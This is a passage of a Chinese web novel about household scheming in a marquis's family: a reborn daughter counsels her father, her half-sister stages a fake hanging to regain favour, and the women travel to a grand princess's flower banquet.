宋萧然渐渐觉得,自己好像无法控制了。 宋南絮淡然一笑。 宋萧然眼里的表情自是没有逃脱她的眼睛。 她唇角微微上扬,勾起了一抹浅薄而疏冷的笑:“只不过,女儿的法子父亲不会去做的。” 宋萧然眯起了眼睛:“倘若,你是要让我送走蓉儿母女,那你……” “错了。” 宋南絮缓缓启唇,笑容不达眼底。 宋萧然皱眉,疑惑、怀疑的神色交织在一块,似是极为不解地凝视着宋南絮:“你是在说此事都是为父的过错么?!” 宋南絮微微摇头:“女儿怎么敢说父亲有错呢。” 宋萧然冷下了脸:“那你是何意?!” 宋南絮缓抬睫眸,澄澈而明亮的眸子,好似一汪深不见底寒潭,带着冷冽与漠然:“父亲,您贵为安远侯,在这金陵城中除了皇亲国戚外的世家大族谁人不尊您一声侯爷,您怎么会有错呢,况且,自古以来男人三妻四妾也是寻常事,现下,最重要的是如何安抚母亲,用何等法安抚武安侯府,如何平息‘罪臣之女’这四个字!” 听着宋南絮头头是道的话,宋萧然的脸色逐渐缓和了几分。 他沉吟了半晌,微一挑眉,目光之中带着三分探究一瞬不瞬地盯着宋南絮:“你有什么办法速速说来!” 呵! 宋南絮心中冷笑。 她的父亲首鼠两端,虚伪的紧,即便有求与她,却依然是一副高高在上,自大狂妄的态度。 “若我是父亲,我暂且先不会将白氏迎接入府……” “不行!!” 宋南絮只是才开了个头,就立即遭到了宋萧然的反驳。 “父亲,您切莫操之过急,请先听女儿仔细给您讲讲这其中的门道。” 宋南絮举步走到了宋萧然的面前,低了他一个头的身高,却在抬起了睫眸时,眼睛里有让人不容置疑的神色。 宋萧然在对上了宋南絮的眼眸时,竟有一瞬间的恍惚。 宋南絮在他慌神的一瞬间立即开口道:“父亲先要想个法子安抚母亲,说是白姨娘对父亲有恩也好,有义也罢,唯独不能是有情,而后,父亲需以亲笔书信,快马加鞭送往濮州与外祖父、外祖母知晓此事,要声泪俱下,要让所有人都觉得父亲是有个知恩善报的良善之人,明日早朝,父亲还需要亲自禀明圣上自己的罪责。” 一桩桩,一件件,宋南絮分析利弊,掰开了,揉碎了讲给宋萧然听。 以宋萧然的头脑,若非是被情爱蒙蔽了双眼,岂会看不出其中门路,宋南絮此举是要让他知道,自己和宋涵烟那种争夺父母宠爱,抢珠宝首饰,布料穿戴的闺阁小姐不同。 她要让宋萧然知道,自己不仅是他的亲生女儿,更能做他的谋士。 “父亲面圣之后,切莫不要为了白氏一族开罪,与母亲、武安侯府谈论利弊,与天家圣山谈情爱,要让圣上觉得您对白氏情根深种,不能自拔,要亲自将把这把剑的把柄递到圣上的手中。” 宋萧然深暗为官之道。 宋南絮一语中的,顷刻间他便明白了其中深意。 这是要让宋萧然亲自将把柄交到皇帝的手中,要让皇帝知道他是一个可以为之操控的利刃。 他要做一个可以被利用之人,而这个持剑人也必须是皇帝。 明白了这一点后,宋萧然再看宋南絮时的目光都变了。 他微眯着眸子,像是从来不认识宋南絮似的,从头到脚地打量着,审视着自己的这个女儿。 五年的光景,她不仅学乖了,而且脑子也变得灵光了。 她不像宋涵烟,只拘泥于后宅那些小女儿的玩意儿,她像是一个身处于朝堂之中,机关算计的权臣。 只可惜—— 宋萧然的眼睛里闪过了一抹失望。 宋南絮不是男儿身! 如果,她是儿郎的话,只要自己稍加提点,在朝堂之中便似如鱼得水。 百转心思,最终化为一声叹息。 “絮儿,你若是个男子,父亲定将这侯爵金印交托在你手中。” 宋南絮看着宋萧然,只微微一笑,却未多说半字。 安远侯爵位?! 呵! 她宋南絮要的远远不止这些! “是女儿的过错,女儿为托生成男子,让父亲失望了。” 宋萧然深吸了一口气,重重地在宋南絮的肩膀上拍了拍:“不妨事,你已到了应该许婚的年岁了,父亲定然给你寻一门好亲事!” 他眼中的算计,藏都藏不住。 宋南絮又怎么会看不出来! 好亲事?! 以她对宋萧然的了解,他口中的这门亲事,势必将会成为他的一大助力。 如今,能够在官场上帮助安远侯府的,放眼整个金陵城之中,唯有二人可。 当今陛下! 丞相萧止! 以现看来,宋萧然极有可能是动了将自己送进宫中的心思。 这只老狐狸!! 宋南絮并未表现出看出宋萧然心思的样子,只是乖巧地屈膝,送走了宋萧然。 待她回到了荣安堂里间时,严氏撂下了手中的茶盏,抬眸看向了宋南絮:“絮儿,可有和你父亲讲清楚其中利害了么?” 宋南絮微微颔首:“孙女儿已经同父亲讲过了。” 严氏意味深长地看了宋南絮一眼:“你这丫头……唉!” 她长长地叹了一口气,似是有话要说的样子。 宋南絮看出了老太太的心思,忙不迭屈膝欠身道:“祖母是不是责怪孙女儿没有藏巧?” 严氏抿着唇,只颔首却并未说话。 宋南絮站起了起来,莞尔道:“即便今日孙女儿什么都不做,只要父亲冷静下来,也一定会明白其中的道理,孙女儿这么做,只是想要让父亲知道,孙女儿和白氏、宋涵烟不同罢了。” 严氏轻哂了一声:“你是我带大的姑娘,那岂子腌臜货连给你提鞋都不配,絮丫头,你有何须如此?” 宋南絮笑了笑:“孙女儿只是想要证明自己。” “你……” 严氏沉吟了片刻,又叹了一口气:“那你父亲怎么说?” 宋南絮缓缓地抬起了眸,目光坚毅地看着严氏,一字一顿道:“祖母,父亲可能动了想要送我进宫的心思。” 第76章 请人过来,快要死了 “什么?!” 严氏闻言,脸色骤变。 老太太什么没见过,皇宫是什么地方,红墙金顶琉璃瓦,外头的人瞧着里面是富贵荣华,但置身其中的人却深知,它是削蚀皮肉,饮其血脉,啃食骨头的魔窟。 她视宋南絮如同珍宝,又怎会允许宋萧然将她送进宫中。 更何况—— 老太太虽足不出户,但却深知天下事。 皇帝—— 并非值得可以托付终身的良人。 更不要说,一旦入宫,便只身于旋涡之中,没日没夜的算计,无时无刻的防备,老太太宁可将孙女儿嫁进寻常百姓之家,给足银钱和良田,做一个富户之家的太太,也不想她被卷入虎狼窝里。 “不成!!” 严氏声音倏地一厉,目光如炬,周身的气派仿佛又回到了数十年前,她随着父兄征战沙场时的飒爽模样:“想要将我的宝贝孙女儿送进宫中为他博前程,除非我死了,否则的话,他休想!” 宋南絮瞧见祖母如此的精神,心中十分安慰。 还好。 还好自己重生后能够帮着祖母去除了身体里的毒素。 宋南絮挽住了严氏的胳膊,依靠着祖母的臂膀:“有祖母在,孙女儿就有依靠,相信父亲也不敢违拗祖母的心思。” “絮丫头,你且放心,只要祖母有一口气在,任谁也不能勉强了你去!” 严氏慈爱地握紧了宋南絮的手,似是抓住了稀释珍宝一般,紧紧地贴在自个儿的胸口。 宋南絮留在荣安堂陪着老太太用了晚膳。 一桌子全都是她喜欢的菜色,严氏更是一个劲儿地往她碗碟里夹菜,只是眨眼的工夫,宋南絮面前竟堆起了小山一座。 宋南絮夹了一块松鼠桂鱼放进了严氏的碗里:“祖母,您别只顾着给孙女儿夹菜,您也多进一些。” “好好好,祖母多吃些,多吃些,只要祖母身子硬朗,谁也不能欺负了我的心肝肉去。” 祖孙二人正吃着饭,李嬷嬷迈着小碎步掀了帘子走了进来。 严氏撂下了手里的筷子,扭头看向李嬷嬷:“怎么样?” 李嬷嬷微一欠身:“回老太太的话,侯爷已经按照咱们姑娘的意思去了夫人的锦绣院。” “嗯。”严氏微微颔了颔首。 宋南絮由翠珠伺候着漱了漱口,卷起了帕子拭了拭唇:“那位如何?宋涵烟又何如?” “哼!”李嬷嬷一脸嫌恶地轻哼了一声:“那狐媚子在教坊司里学得了一身痴缠的把戏,侯爷……” “哎!” 李嬷嬷话说了一半,轻叹了一口气:“至于宋涵烟,她倒是没闹出什么幺蛾子来,一直在悠然居里闭门不出。” 闭门不出?! 宋南絮微微蹙眉。 府里闹出了这么大的动静,白氏又是宋涵烟的亲娘,她竟然能够忍得住闭门不出? 这事—— 严氏似乎也听出了其中的门道来,她冷哼了一声,说道:“那小贱人和她娘一模一样,惯是一副讨好卖乖的嘴脸,一旦白氏进了安远侯府的门,便是告知所有人那小贱人外室女的身份,只怕这会子工夫,她指不定如何盘算呢!” 严氏由宁嬷嬷、段嬷嬷伺候着起了身:“絮丫头,你且看着,那小贱人必定会使出浑身解数讨好你母亲!” 老太太慧眼识人,悠然居内,宋涵烟在房里踱来踱去,心里的算盘珠子打得劈啪作响。 她一门心思只顾着端淑大长公主的赏花宴,全然混忘了自己的生身母亲挪去了青花巷的宅子居住。 宋涵烟心急如焚。 此时东窗事发,如若崔氏因为母亲的关系厌弃了自己的话—— 只差了一天,哪怕在多给她一天的机会,宋涵烟有信心,以自己的容貌姿色,只要出现在赏花宴上,一定能够得到小公爷的青睐。 她一遍又一遍的差人去打听,生怕错过了锦绣院的半点消息。 采莲跨过了门槛,步履匆忙进了房内。 宋涵烟立马驻足,朝她迎了过去:“怎么样了?可有打听到什么?” 采莲面色难看,皱着眉头,用力地咬了一下唇才道:“奴婢给田妈妈塞了两个荷包,从她口中打听到咱们夫人发了好大的脾气,就连屋子里的珍宝阁都砸了个稀巴烂。” 宋涵烟面色难看,下意识地攥紧了拳头:“如此说来,母亲当真是发了大怒!这要我怎么办?那明儿她岂不是不能带我去大长公主的赏花宴了么?” 她用力咬紧下唇,蹙着眉头沉思起来。 “不行!我绝不能坐以待毙!!” 宋涵烟又拿了两个荷包塞进了采莲手里:“你再去寻田妈妈,若有什么风吹草动立马来寻我。” “是。” 采莲应了一声,转身就要往门外走。 “等等!” 宋涵烟叫住了采莲:“你不用去了,我亲自去锦绣院!” “姑娘,您真的要去吗?以现在的情况,您若是真的去了,只怕夫人也不会见您的!” 宋涵烟凝眸,仔细思忖。 采莲又道:“况且,今儿刘妈妈晌午来传信儿的时候,您又没过去,若这个时候再去……” 宋涵烟:“管不了那么多了……” 说罢,她脚步飞快地朝门口走。 忽地,宋涵烟驻足,扭过身时,脸上挂着笑。 采莲不解,都到了这个时候了,自家姑娘怎么还能笑得出来。 宋涵烟拔下了发髻上的簪子,用帕子擦去了脸上的妆容,脱掉了身上的裙裾。 采莲见状越发不解:“姑娘,您这是作甚?” 宋涵烟眼波流转,唇角越发上扬:“你去请父亲、母亲过来。” 采莲诧异:“侯爷、夫人能来么?” 宋涵烟微微眯了一下眼,一副了然于胸的样子:“你只管按照我的吩咐行事,其他的什么都不要过问。” 采莲不敢质疑宋涵烟的吩咐:“是。” 见采莲要走,宋涵烟又吩咐了一句:“还要将阿兄也请过来。” 她踱步走到了采莲的面前,用力地抓住了她的双臂:“你就和他们说,二姑娘想不开自缢了!!” “啊?!” 采莲被吓了一跳,猛然瞪大了双眼:“姑娘!!” 宋涵烟唇畔笑容越发浓郁,宛如一株盛开的妖艳芍药花:“一定要哭,而且要哭得凄惨,最好就说我马上要死了!” 第77章 一唱一和,声情并茂 “烟儿——” “烟儿——” 众人赶来时,宋涵烟已经一脖子吊在了房梁上。 崔氏刚一踏进悠然居,就见到摇摇晃晃的一双脚,穿得鞋样还是她亲手绣的姚黄牡丹,她眼前骤然一黑,直挺挺地向后倒去。 宋昭眼疾手快,一把扶住了崔氏,急声唤道:“母亲!母亲!” 宋萧然连忙吩咐丫鬟、婆子将宋涵烟放了下来。 一时间,悠然居主屋里乱做了一团。 崔氏身边的三个妈妈又是掐人中,又是揉心口,好半晌,她猛地吸了一口气,一下子睁开了眼睛:“烟儿,我的烟儿!” 崔氏连忙拨开众人,踉踉跄跄地起身,往床榻前走。 当她看见绣床上昏迷的人儿时,一双眼眸之中早已经蓄满了泪水,崔氏坐在了床沿上,颤抖着伸出了手,轻轻地拨开了宋涵烟脸上的发丝,顷刻间,眼泪像是断了线的珠子似的,大颗大颗滚落而下。 “烟儿,傻丫头,你……你这又是何苦呢!?” 崔氏打心坎里实实在在地疼爱了宋涵烟五年的时间。 这五年来,她将自己全部的亏欠宋南絮的母爱,都转嫁到了宋涵烟的身上,虽说一时间难以接受她是夫君在外室养的女儿,但是在她的听见宋涵烟悬梁自戕的一瞬间,崔氏还是心软、心疼,第一时间赶到了悠然居。 “嗯——” 宋涵烟呢喃了一声,悠悠地掀开了眼帘。 模糊的视线逐渐变得清晰了起来,她看清楚围在床边的三人时,情绪倏然之间变得激动了起来。 宋涵烟猛地扑进了崔氏的怀抱之中,像是受足了委屈的小女孩似的放声大哭:“母亲,我还以为您不要烟儿了呢!” 崔氏紧紧地抱住了她,轻轻地顺着她的背:“傻丫头,你是母亲的女儿,我怎么会不要你呢!” 前脚还在房中咒骂白玉蓉和宋涵烟,这会子宋涵烟只不过稍稍使了点手段,竟让崔氏全然混忘了之前的事一般,抱着怀中的小人儿又是哄又是安慰,还真是好一出母女情深的戏码。 宋南絮站在悠然居门口,嘴角噙着一抹疏冷笑意,看着眼前的这一幕,仿若看着一场荒诞的折子戏。 若是崔氏有心稍加留意,便可瞧出宋涵烟上吊用的白绫打得是活结。 即便宋萧然、崔氏和宋昭不赶过来,不出片刻,白绫也能够自断。 只可惜,他们一个个都是眼盲心瞎之人,瞧不见宋涵烟这上不得台面的手段。 宋南絮并没有拆穿她。 只是站在门口,嘴角噙着一抹冷漠而疏离的笑。 约莫一炷香的时间,宋涵烟停止了哭声,依偎在崔氏的怀中诉说着母女之间这五年来的情分,帮着崔氏想起了这五年的点点滴滴。 从刚入府,到第一个春节,再到她生病时崔氏寸步不离的守候。 崔氏本就是糊涂的,竟宋涵烟这么一说,也被勾起了眼泪来,抱着她安慰了好半晌:“好孩子,好孩子,都是母亲的错,母亲不应该猜疑你的,我的烟儿受了这么大的委屈,才会如此想不开,都是母亲的不好。” 宋南絮看着,差点笑出了声。 宋涵烟是有几分小聪明,知道这个时候绝不能向着自己的亲娘,一旦遭到崔氏反感,往后在安远侯府后宅的日子只怕将会寸步难行。 为了长远计,宋涵烟只能抛开母女亲情,去讨好崔氏这位当家主母。 “母亲,您言重了,这件事情怎么能怪您呢!” 宋涵烟退出了崔氏的怀抱,抬起了一双哭得湿漉漉的眼睛,一瞬不瞬地看着她:“这件事情本就是烟儿的错,是烟儿痴心妄想,烟儿故意隐瞒了自己的身份,实在是事出有因——” 她说着,忙不得地下了床,直接朝崔氏跪了下去。 崔氏本就心疼的厉害,连忙伸手去搀扶。 宋涵烟握住了崔氏的手,抬起头凝望着她的眼睛:“母亲,您听我把话说完!” 崔氏连连颔首:“好孩子,你说,你说。” 宋涵烟:“我年幼时,曾远远地瞧过母亲一面,您当日带着长姐在外游玩,满眼的温柔与慈爱,那时,烟儿就想如果您是我的母亲那该有多好,只可惜——” 她刚刚止住的眼泪再次落了下来。 宋涵烟抬手抹了一把脸上的泪痕,声音颤抖,情绪激动地继续说道:“我只是出身卑贱的外室女,没有资格做母亲的女儿,直到五年前,父亲将我接回府中,看见母亲的第一面,我便觉得亲切,我当时就想,我终于能够成为您的女儿了,您不知道,为此我高兴的几天几夜没合眼,生怕这是一场梦,一旦梦醒了,我将失去做您女儿的资格。” 宋涵烟一番讲述,声情并茂,将一个出身低贱,且对侯府主母尊之敬之的女儿演绎的淋漓尽致,就连宋南絮都佩服她演技之高,变化之快。 崔氏听着听着,也开始抹起了眼泪来。 宋涵烟继续道:“母亲,您别不要女儿,没有了您,女儿觉得活在这个世界上也没有了意义,还不如一脖子吊死,若得老天爷的垂爱,来生能够托生到您的肚子里,再让我重续这份母女情谊。” 崔氏扶起了宋涵烟:“母亲不怪你,要怪就怪你父亲!” 说罢,崔氏狠狠地瞪了宋萧然一眼。 宋萧然这会儿做小伏低,哄着崔氏:“夫人说的事,怪我怪我——” 他叹了一口气,坐了崔氏的身边,将她揽进了怀中,轻轻地拍着她的肩:“今日烟儿这许多话,正是我想要对夫人说的,这些年来,我对白氏有得也只是曾经的白家对侯府的恩情,月华——” 宋萧然凝眸,情深款款地望着崔氏的眼睛:“那年的簪花宴上,我对你一见倾心,你不知,在我得知要迎娶你时我有多欢喜。” 他竖起了三根手指,指天发誓:“月华,我对你的情谊天地可鉴,倘若我有愧于你的话,我——” 不等宋萧然把话说完,崔氏连忙抬手捂住了他的嘴巴:“侯爷!我不准你胡乱发誓!!” 宋萧然顺势握住了崔氏的手:“月华,这么说你是原谅我了!?” 第78章 深明大义,一同前去 宋萧然在来悠然居前已经和崔月华说尽了好话。 他虽不会讨好卖乖,但却可以将曾经对白玉蓉说过的海誓山盟对崔氏再说一遍。 一项对自己沉默寡言的夫君突然对自己温柔备至,说尽了蜜语甜言,崔氏又是个头脑简单的,怎禁得住这般男人的柔情攻势。 她虽仍怨气未消,但心里也已经原谅了大半。 更何况,宋萧然是将白氏安顿在外只是为了成全了白家昔日的恩,他只将白玉蓉当做了一个人情罢了。 虽与她生了女儿,但却送到了崔氏的身边抚养,也是希望崔氏能够拿捏白氏。 而今,一切已是事实,崔氏爱宋萧然入骨,她也不会因为一个外室而放弃安远侯夫人。 崔氏嗔地宋萧然一眼,用力地在他腰间拧了一把。 她虽已人到中年,但却一辈子养尊处优,仍然有小女儿家娇羞的姿态。 “孩儿们都看着呢,说这些话也不怕孩子们笑话你!” 宋萧然紧握住了崔氏的手:“夫人,我就知你深明大义。” 宋南絮在一旁瞧着,差点没笑出了声。 这一家子充斥着谎言与欺骗,唯独崔氏像是一个提线木偶似的,任由着这父女二人操控、白布。 如此甚好。 且让事态继续发展。 等白玉蓉正是进了门,成为宋萧然的宠妾、爱妾时,到时候就又是一出好戏。 宋南絮知道这一天的到来用不了太久。 “长姐,你什么时候来的?” 宋涵烟依偎在崔氏的怀中,看向宋南絮时,一副挑衅的嘴脸,仿佛是在说:宋南絮,你看啊!你的母亲得知了我的身份后仍然只疼爱我一个人呐! 然而—— 宋南絮却并没有将一切放在眼里。 她微微一笑,举步上前,朱唇微启,声音恬淡:“先前在外头忙着将青花巷的那间宅子的牡丹送去大长公主府,听底下人来报,说是妹妹悬梁了,这才过来瞧瞧,妹妹究竟是为了何事而想不开呢?” 宋涵烟原本挑衅的目光瞬间变得凌厉起来。 她好不容易才将此事揭过,宋南絮偏偏哪壶不开提哪壶。 听闻‘青花巷’三个字,崔氏的脸色忽然变得十分不自然,原本紧抱着宋涵烟的手也稍稍松开了力。 只字片语就能够瓦解的母女情根基又能有多深呢。 宋南絮看在眼里,却不想现在就戳破这场互相利用欺骗编织出来的幻境。 “父亲。”她唤了一声宋萧然,撩起了裙裳微微欠身道:“宇文公子着人购置了母亲私产的牡丹花,因着祖父在世时曾有规矩,但凡安远侯府中人皆不可与皇族有过甚牵扯,故而,女儿按市价将牡丹尽数卖给了他。” 宋萧然微微颔首。 这女儿越发有世家贵女的样子。 若经他提点,再加以包装、宣扬,届时—— 将一个不受宠的女儿送进宫中,以她的聪慧说不定能够让安远侯府更上一层楼。 只不过—— 宋萧然微眯着眼,从头到脚地打量着宋南絮。 宋南絮虽继承了崔氏的美貌,但这五年来在庵堂之中的挫磨,却让她整个人看起来少了些贵气。 看来—— 宋萧然看自己的眼神丝毫不加掩饰,算盘珠子都快打到了自己的脸上。 宋南絮装作并没有察觉的样子,侧目伸出了手,翠珠将宇文胤珣收购牡丹的记档递到了她的手中:“父亲,这是宇文公子购买记录,请您过目。” 宋萧然:“这本是你母亲的私产,理应你母亲看眼才是。” “是。” 宋南絮将记档递到了崔氏面前。 崔氏:“你们知道的,我素来不喜这些金银铜臭,絮儿既已算清了,那便将这些银钱充如府银,用以日常的花销用度。” “是。” 和面前父慈子孝、母静女安的一家四口相比起来,宋南絮更像是安远侯府的管家。 “哦对了。” 宋南絮缓缓起身,颀长的睫羽微动,一双灵动的眸子似是无意地落在宋萧然的身上,随即,缓缓地将目光落在了崔氏的身上:“青花巷那边的牡丹已尽数送往大长公主府,不知那处宅院往后母亲有何打算?” 崔氏原本还挂着笑的脸,顷刻间笑意全无。 只要一提起‘青花巷’三个字,她就立刻能够想起白玉蓉来,脑海之中止不住地浮现出宋萧然抱着她离开时的画面。 再去看宋涵烟那张和白玉蓉有这七八分相似的容颜,崔氏哪里还能疼爱得起来。 崔氏脸有愠怒:“那宅子我是断断不会再要了,回头寻人将那宅子卖了吧。” “一切听从母亲的安排。”宋南絮欠身一礼:“那女儿现在就吩咐下去。” 眼见宋南絮要走,宋萧然忽开口了口:“絮儿,你等等。” 宋南絮驻足:“父亲可是还有什么吩咐?” 宋萧然挑起了眉:“你乃是安远侯府的嫡出千金,这些事情让庞管事去做便是。明日,端淑大长公主府中赏花宴,你同你母亲、妹妹一起去。” “这——” 宋南絮故作为难地看了一眼宋涵烟和崔氏:“女儿粗鄙,模样丑陋,这些年来久居庵堂,恐怕……” 不待宋南絮把话说完,宋萧然开口打断了她的话:“一些女儿家的宴席,你曾经不是最喜欢热闹,正好借着这个机会,让你母亲带你见见人,也让金陵城中的官眷们知道知道,咱们侯府的嫡女在庵堂中祈福归来了。” “侯爷说得是!”崔氏下意识抓住了宋萧然的胳膊:“若是侯爷不提及此事,我也正想要和你说呢。” 宋萧然笑道:“咱们夫妻心有灵犀。” 崔氏莞尔,从头到脚地端详着宋南絮:“我瞧絮儿的身量有些消瘦,正好可以将去年宫里赏赐的那套蜀锦的衣裳稍加修改,应该能合身,至于首饰就戴那套鎏金的吧。” 宋涵烟要去大长公主府的赏花宴,崔氏又张罗裁制新衣,又添新首饰的,可到了宋南絮这里,却要穿去年的旧衣,就连首饰也是鎏金的。 崔氏! 她的亲娘! 这心都偏到了天上去! 不过,宋南絮并不在意这些,她在意的是,那份名册交到端淑大长公主手中,会给她带来怎么样的利益。 第79章 御赐马车,给足颜面 次日。 宋萧然顶着一张熬了一整晚没睡的脸,未洁面、未剃须,满脸写满了‘憔悴’二字进宫面圣,与他同时出门的还有安远侯府的女眷。 不同的是,宋涵烟却是神采奕奕的。 一袭华服加身,满头翠珠流光溢彩,就连脚上绣鞋都是蜀锦做面,明珠为饰,一举手一投足,无不彰显华贵。 崔氏一如既然的端庄,只是细看之下,她头戴的华盛、脖颈处的项圈、手指上的戒指,都以牡丹为样,就连身上云锦的华服都以暗金银线绣着凤穿牡丹的图样,极是符合今日大长公主的牡丹赏花宴。 众人在侯府门外等了半晌,却迟迟不见宋南絮。 宋萧然面有不悦,用力地压了压眉心:“怎么还不见絮儿?” 崔氏眸中略带微愠之色:“这丫头在庵堂五年,许是早已忘记了参加宴席的礼数,妾身这就派人去叫她。” 说罢,她侧目看了一眼田妈妈。 田妈妈颔了颔首,立即转身便要回府内去寻人。 然而—— 当田妈妈转过身时,却是倏然一愣,她像是被人点了穴道似的,僵在了原地一动不动,双眼直勾勾地盯着自个儿面前,身姿曼妙,翩跹而来的宋南絮。 宋南絮并未穿戴崔氏送到墨香居的衣物首饰,而是穿了一件浅碧色的素缎的衣裙裳,腰间系着一条月白色的腰封,正中缀了一颗鹌鹑蛋大小的宝石珠子,青丝梳成垂鬓分梢的发髻,余了一缕青丝垂在胸前。 发髻上只簪了一支造型简单的白玉簪,身上便再无其他过多的点缀。 她的出现与崔氏、宋涵烟形成了鲜明的对比,简单素雅,端庄大方,不似她们二人的隆重与华贵,却又不失世家大族在室闺阁千金的风范。 如此,却将她们二人衬得如同杂耍班子里的跳马猴子。 宋涵烟极是嫌恶地瞥了宋南絮一眼。 如今她一身华服乃是金陵城中名门贵女最时兴的打扮,再看宋南絮—— 宋涵烟挽起了崔氏的胳膊:“母亲,您不是差人给长姐送衣裳了么?怎么她还会穿得如此小气?” 崔氏微微蹙眉,面上略带不悦:“絮儿,你怎么没穿母亲送你的衣裳?” 宋南絮行至众人面前,对宋萧然欠身行礼:“见过父亲。” 随即,她缓抬睫眸,看向崔氏回答道:“原本是想要穿的,奈何母亲送来的衣裳许是搁置的时间久了,针线有些松散,女儿不想耽搁了大长公主的赏花宴,便寻了祖母送的这套衣裳来穿。” 宋萧然并不在乎女眷穿什么,虽说宋南絮的装扮太过素雅了一些,但也不至于失了安远侯府的脸面:“好了,赶紧上马车别耽搁了时间。” “请等等。” 宋南絮忽然开口,众人将目光齐齐地落在了她的身上。 宋萧然蹙眉:“大长公主的宴席迟不得,切莫……” 他话未说完,隔着老远便听见一阵车轮叮咚声响,这声音—— 宋萧然眼前忽然一亮,这是只有皇亲国戚才能乘坐了车辗的金玉风铃的声响。 他立即转头朝着安远街的尽头看去。 远远望去,一辆马车如同移动的宫殿,散发着令人敬畏的威严气息,马车由六匹毛色油亮,身姿矫健的骏马牵引,马头上纯金的当卢上镶嵌着璀璨的宝石,奢华,肃穆,彰显着皇家的尊贵与威严。 马车停在了安远侯府外。 紧跟着马车而来的女官举步上前,驻足在宋萧然面前一丈开外,毕恭毕敬地行了礼:“下官奉大长公主之命,特以大长公主的车辗前来迎接安远侯夫人、小姐前往大长公主府赴宴。” 这已然是大长公主给予的最高礼遇了,这分脸面可谓是给足了宋萧然。 宋萧然的嘴角情不自禁地上扬:“大长公主是不是太客气了,这——” “父亲!” 宋涵烟挤开了宋南絮,上前挽住了宋萧然的胳膊:“大长公主的赏花宴举办了多年,却从未有人有过如此待遇,可见大长公主多么重视父亲。” 她的马屁拍得刚刚好。 接连遭遇滑铁卢的宋萧然,近来心情沉入谷底,最近更是没有一件顺心的事,难得端淑大长公主抬爱,显让许国公父子二人来下邀请函,现下更是派遣先帝所赏赐的金顶车辗前来迎接,这幅殊荣到当真是独一份。 宋南絮看着宋萧然眼底眼藏不住的得意,唇畔在不经意间闪过了一抹冷凝的弧度。 她了解她的父亲,锦上添花时未必在意这些,然而在这种时候却越发隐藏不住上翘的尾巴,这也是祖父在世时,为什么要定下家规,不让安远侯府与皇亲国戚走得过密的原因。 现下,宋萧然掌家,他不仅希望安远侯府能够世代昌盛,更是希望能够百尺竿头更上一层楼。 女官道:“正如令爱所言,安远侯府乃是独一份的殊荣。” 她侧首,朝马车做了一个请的手势:“还请夫人、小姐上马车。” 说话时,女官一双眸子在宋涵烟的身上逡巡,她出身于皇宫,练就了一双观人与微的眸子,大长公主吩咐她务必要试探安远侯府的小姐。 可现在看来,却只是一个知道打扮,爱慕虚荣的俗人罢了。 怎会是大长公主口中的—— 思忖见,女官的目光不经意地落在了宋南絮的身上。 眼前忽地一亮,这女子身形虽然消瘦,但容貌却清秀脱俗,特意是一双眼睛,仿若能够洞悉一切似的。 仅仅只是对视一眼,女官竟然有一种被她看穿了的感觉。 她连忙收回了视线,待崔氏与宋涵烟上了马车后,她再次抬手:“小姐请。” 宋南絮微笑颔首,缓步行至马车前,扶着女官的手走上了马车。 宋南絮坐在了崔氏的左侧,始终未发一言,只是垂着眸子,捻动手中的一串紫檀佛珠,默念《观音心经》。 宋涵烟极看不管她这幅模样,轻哂了一声,说道:“长姐,今日可是金陵城中最尊贵的大长公主赏花宴,你离府五年只怕是早就已经忘记了如何交际应酬城中官眷,到时候可一定要跟紧我与母亲,切莫失了分寸,丢了我安远侯府的颜面才是!” 第80章 赏花宴,长公主 失了分寸!丢了颜面! 宋南絮懒懒地掀开了眼皮儿,神情淡漠地瞥了宋涵烟一眼,淡淡地回了一句:“妹妹说的是。” 只一句,她便再次阖上了双眸,继续念她的经。 从始至终,宋南絮便再也没有看崔氏、宋涵烟一眼。 宋涵烟原本准备了一肚子的话想要借此机会训上一训宋南絮,可偏偏—— 她竟有种一拳头打在了棉花上的无力感。 她只能将心思都用在崔氏的身上,撒娇、讨好、卖乖,使出了她一贯的伎俩,将崔氏这个没心眼的哄得笑得开心的紧。 不多时,马车辄止。 女官掀开垂下的翠玉珠帘:“夫人,两位小姐,大长公主府到了。” 红墙琉璃瓦,飞檐展翘角如飞鸟展翅,轻盈而灵动,屋脊上装饰着精美的五脊六兽,形态各异,栩栩如生,此处宅院极为奢华气派,处处彰显着皇家危险与昔日神宗对这位独女宠爱。 今日大长公主府赏花宴,往来皆是朝中勋贵府邸女眷,却唯独安远侯府女眷是乘坐先帝钦此的车辗而来。 崔氏和宋涵烟下了马车,一道道或惊讶、或艳羡的目光立即朝二人投将过去。 宋涵烟极是喜欢这种万众瞩目的感觉,她如同一直高傲的天鹅,不自觉地挺起了胸膛,扬起了脖颈,坦然地接受着一道道目光。 宋南絮缓缓走下马车。 疏淡的目光环视大长公主府门前从各家马车之中走下来的夫人小姐,这其中倒有不少是她曾经熟悉的城中贵女。 随着宋南絮逐渐淡出权贵这个圈子,这些人也逐渐混忘了她的存在。 五年的时间,崔氏但凡外出参加宴席,势必会带着宋涵烟,渐渐的,她便代替了宋南絮的位置。 “见过安远侯夫人。” 说话之人是刑部尚书郭啸的妻子赵氏。 这位夫人项来八面玲珑,其夫君官运亨通,与她的交际应酬脱不开关系,这位尚书夫人最喜欢牵线保媒,得了官太太媒婆的名号,且对此乐此不疲,城中权贵之家有待嫁女,或者想要娶妻的男子,也都喜欢拉她说项。 这些年来,她说成的亲事,没有一百也有九十九桩。 赵氏上前和崔氏见了礼,抬眼时,不动声色地打量着宋南絮。 赵氏只觉得宋南絮面善,却又一时间想不起来在什么地方见过她,于是便开口问道:“夫人,这位小姐是——” 崔氏面带微笑,侧目看了一眼宋南絮,朝她招了招手:“絮儿,快过来见过赵夫人。” 宋南絮行至赵氏面前,微微一欠身:“宋南絮给郭夫人请安。” “宋南絮?”赵氏轻声咕哝,总觉得这个名字有些耳熟,忽然,她眼前一亮,似是想起了什么,猛地瞪圆了眼睛:“哟!你……你是安远侯府那位到庵堂中为你家老太太祈福的姑娘!!” 宋南絮微笑莞尔:“正是。” 为老太太祈福只不过是安远侯府对外的说辞罢了,究竟是怎么回事只有宋家人才知其中乾坤。 但,昔日也有不少人猜测是宋南絮犯了错才会被送进庵堂。 赵氏脸上好奇的神情藏不住,赶忙用笑容来掩盖:“原来是宋大姑娘,你这一走便是数年光景,瞧着模样——” 宋南絮模样固然好,但却着实太瘦了些,恭维的话赵氏还有点说不出口。 崔氏连忙开口解释:“我家女儿惦念老太太的身子,这些年来在庵堂中吃不下,睡不香,身量是消瘦了些,好在,如今我家老太太身子好转了,她也回了府。” “原来如此!” 赵氏上下打量宋南絮,崔氏解释的话虽然这么说,其中缘由不禁会让人再次猜想。 在场所有人将目光从崔氏、宋涵烟的身上落到了宋南絮的身上。 